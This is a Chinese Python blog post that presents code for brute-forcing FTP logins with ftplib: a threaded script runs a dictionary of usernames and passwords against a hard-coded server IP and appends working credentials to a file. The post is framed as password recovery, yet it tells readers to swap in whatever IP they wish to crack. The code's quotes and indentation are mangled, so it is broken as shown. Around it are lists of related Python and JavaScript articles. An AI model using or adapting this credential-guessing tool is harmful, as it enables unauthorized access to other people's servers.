忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Python中max函数用法实例分析
Jul 17 Python
python框架django基础指南
Sep 08 Python
Python实现字符串格式化输出的方法详解
Sep 20 Python
Python中elasticsearch插入和更新数据的实现方法
Apr 01 Python
Go/Python/Erlang编程语言对比分析及示例代码
Apr 23 Python
python实现定时提取实时日志程序
Jun 22 Python
python中多个装饰器的执行顺序详解
Oct 08 Python
解决PyCharm同目录下导入模块会报错的问题
Oct 13 Python
python实现关闭第三方窗口的方法
Jun 28 Python
使用pytorch实现可视化中间层的结果
Dec 30 Python
在 Pycharm 安装使用black的方法详解
Apr 02 Python
利用Python实现Picgo图床工具
Nov 23 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
老机欣赏|中国60年代精品收音机
2021/03/02 无线电
PHP数据类型之布尔型的介绍
2013/04/28 PHP
PHP使用Session实现上传进度功能详解
2019/08/06 PHP
Laravel框架Eloquent ORM简介、模型建立及查询数据操作详解
2019/12/04 PHP
JavaScript将Table导出到Excel实现思路及代码
2013/03/13 Javascript
使用Java实现简单的server/client回显功能的方法介绍
2013/05/03 Javascript
纯js分页代码(简洁实用)
2013/11/05 Javascript
jQuery的$.proxy()应用示例介绍
2014/04/03 Javascript
chrome下jq width()方法取值为0的解决方法
2014/05/26 Javascript
JavaScript的内存释放问题详解
2015/01/21 Javascript
jquery实现手机号码选号的方法
2015/07/31 Javascript
javascript实现五星评分功能
2015/11/10 Javascript
jquery彩色投票进度条简单实例演示
2020/07/23 Javascript
javascript正则表达式定义(语法)总结
2016/01/08 Javascript
JavaScript比较当前时间是否在指定时间段内的方法
2016/08/02 Javascript
JavaScript中利用for循环遍历数组
2017/01/15 Javascript
Angular4绑定html内容出现警告的处理方法
2017/11/03 Javascript
微信小程序带动画弹窗组件使用方法详解
2018/11/27 Javascript
JavaScript canvas实现跟随鼠标事件
2020/02/10 Javascript
在antd Form表单中select设置初始值操作
2020/11/02 Javascript
[18:20]DOTA2 HEROS教学视频教你分分钟做大人-昆卡
2014/06/11 DOTA
python3+PyQt5重新实现QT事件处理程序
2018/04/19 Python
利用Python实现在同一网络中的本地文件共享方法
2018/06/04 Python
Python将list中的string批量转化成int/float的方法
2018/06/26 Python
学python安装的软件总结
2019/10/12 Python
Python socket处理client连接过程解析
2020/03/18 Python
python matplotlib实现将图例放在图外
2020/04/17 Python
Python自动发送和收取邮件的方法
2020/08/12 Python
python从ftp获取文件并下载到本地
2020/12/05 Python
HTML5 Canvas渐进填充与透明实现图像的Mask效果
2013/07/11 HTML / CSS
canvas中普通动效与粒子动效的实现代码示例
2019/01/03 HTML / CSS
在线购买世界上最好的酒:BoozeBud
2018/06/07 全球购物
Hush Puppies澳大利亚官网:舒适的男女休闲和正装鞋
2019/08/24 全球购物
采购部岗位职责
2013/11/24 职场文书
大学生最新职业生涯规划书范文
2014/01/12 职场文书
学校工作推荐信范文
2014/07/11 职场文书